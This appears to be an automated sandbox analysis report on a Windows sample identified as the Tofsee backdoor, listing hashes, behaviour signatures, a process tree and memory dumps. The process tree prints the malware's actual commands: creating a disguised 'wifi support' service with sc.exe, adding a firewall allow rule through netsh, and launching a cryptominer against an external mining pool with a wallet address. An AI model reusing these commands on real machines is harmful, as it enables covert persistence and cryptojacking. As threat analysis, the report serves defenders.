Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    14-11-2020 18:06

General

  • Target

    4e6e0bffa3feed749295145cfc2b06af64a2debf32a4e308b7985ff629c872d2.exe

  • Size

    14.8MB

  • MD5

    7d62b10e5ddec91dd71e2224ef250e88

  • SHA1

    e82fe7aa0c16df2c2e111b75a413da22bc40b72d

  • SHA256

    4e6e0bffa3feed749295145cfc2b06af64a2debf32a4e308b7985ff629c872d2

  • SHA512

    bad2a9f4114c78047230b928ad0182782218165297d4c020f468c5c6abbd3db1430a6ed08f75b9a2b1bcca2a7026aa71370e0d7f285b140aacb7384b408222a1

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 19 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4e6e0bffa3feed749295145cfc2b06af64a2debf32a4e308b7985ff629c872d2.exe
    "C:\Users\Admin\AppData\Local\Temp\4e6e0bffa3feed749295145cfc2b06af64a2debf32a4e308b7985ff629c872d2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1628
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 560
      2⤵
      • Program crash
      PID:3432
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 668
      2⤵
      • Program crash
      PID:4044
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 700
      2⤵
      • Program crash
      PID:692
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 760
      2⤵
      • Program crash
      PID:3328
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 780
      2⤵
      • Program crash
      PID:4052
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 804
      2⤵
      • Program crash
      PID:3944
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 952
      2⤵
      • Program crash
      PID:3940
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jzawhakw\
      2⤵
        PID:3684
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 804
        2⤵
        • Program crash
        PID:188
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 1016
        2⤵
        • Program crash
        PID:2208
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qhpnxszn.exe" C:\Windows\SysWOW64\jzawhakw\
        2⤵
          PID:4088
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 584
          2⤵
          • Program crash
          PID:984
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 552
          2⤵
          • Program crash
          PID:1176
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jzawhakw binPath= "C:\Windows\SysWOW64\jzawhakw\qhpnxszn.exe /d\"C:\Users\Admin\AppData\Local\Temp\4e6e0bffa3feed749295145cfc2b06af64a2debf32a4e308b7985ff629c872d2.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2100
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 580
            2⤵
            • Program crash
            PID:2664
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 1000
            2⤵
            • Program crash
            PID:3788
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description jzawhakw "wifi internet conection"
            2⤵
              PID:2312
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 656
              2⤵
              • Program crash
              PID:3708
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 580
              2⤵
              • Program crash
              PID:3860
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start jzawhakw
              2⤵
                PID:1840
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 552
                2⤵
                • Program crash
                PID:784
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 580
                2⤵
                • Program crash
                PID:2708
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3644
              • C:\Windows\SysWOW64\jzawhakw\qhpnxszn.exe
                C:\Windows\SysWOW64\jzawhakw\qhpnxszn.exe /d"C:\Users\Admin\AppData\Local\Temp\4e6e0bffa3feed749295145cfc2b06af64a2debf32a4e308b7985ff629c872d2.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2152
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 2152 -s 588
                  2⤵
                  • Program crash
                  PID:3656
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3488
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2184
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 2152 -s 620
                  2⤵
                  • Program crash
                  PID:3732

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\qhpnxszn.exe

                MD5

                3fcb9dfc98a68585bfa11bc4c512ae92

                SHA1

                6abc2f3863023c0a99d2fb783cbdf0114f89f37e

                SHA256

                7fc294255e61a40d5a877e9dbbbd86683b64cab582a4c5d6be3b4d5d217a3ca5

                SHA512

                693ee013d08d10e464fb5bf59bbf3548ba5c675e9e80ef8159903297c8f2f23a87f14486715acbe5b5c8b4e495b48ba32d0c413fd42286bd8ec4592ae1140a69

              • C:\Windows\SysWOW64\jzawhakw\qhpnxszn.exe

                MD5

                3fcb9dfc98a68585bfa11bc4c512ae92

                SHA1

                6abc2f3863023c0a99d2fb783cbdf0114f89f37e

                SHA256

                7fc294255e61a40d5a877e9dbbbd86683b64cab582a4c5d6be3b4d5d217a3ca5

                SHA512

                693ee013d08d10e464fb5bf59bbf3548ba5c675e9e80ef8159903297c8f2f23a87f14486715acbe5b5c8b4e495b48ba32d0c413fd42286bd8ec4592ae1140a69

              • memory/1628-1-0x0000000004130000-0x0000000004131000-memory.dmp

                Filesize

                4KB

              • memory/1628-0-0x00000000025B6000-0x00000000025B7000-memory.dmp

                Filesize

                4KB

              • memory/1840-7-0x0000000000000000-mapping.dmp

              • memory/2100-5-0x0000000000000000-mapping.dmp

              • memory/2152-10-0x0000000002CB0000-0x0000000002CB1000-memory.dmp

                Filesize

                4KB

              • memory/2152-9-0x00000000023D0000-0x00000000023D1000-memory.dmp

                Filesize

                4KB

              • memory/2184-23-0x00000000033B259C-mapping.dmp

              • memory/2184-21-0x0000000003320000-0x0000000003411000-memory.dmp

                Filesize

                964KB

              • memory/2312-6-0x0000000000000000-mapping.dmp

              • memory/3488-17-0x0000000000FF0000-0x0000000001000000-memory.dmp

                Filesize

                64KB

              • memory/3488-12-0x0000000000F70000-0x0000000000F85000-memory.dmp

                Filesize

                84KB

              • memory/3488-13-0x0000000000F79A6B-mapping.dmp

              • memory/3488-15-0x0000000005040000-0x000000000524F000-memory.dmp

                Filesize

                2.1MB

              • memory/3488-16-0x0000000000FE0000-0x0000000000FE6000-memory.dmp

                Filesize

                24KB

              • memory/3488-18-0x00000000012E0000-0x00000000012E5000-memory.dmp

                Filesize

                20KB

              • memory/3488-19-0x0000000009750000-0x0000000009B5B000-memory.dmp

                Filesize

                4.0MB

              • memory/3488-20-0x00000000012F0000-0x00000000012F7000-memory.dmp

                Filesize

                28KB

              • memory/3644-11-0x0000000000000000-mapping.dmp

              • memory/3684-2-0x0000000000000000-mapping.dmp

              • memory/4088-3-0x0000000000000000-mapping.dmp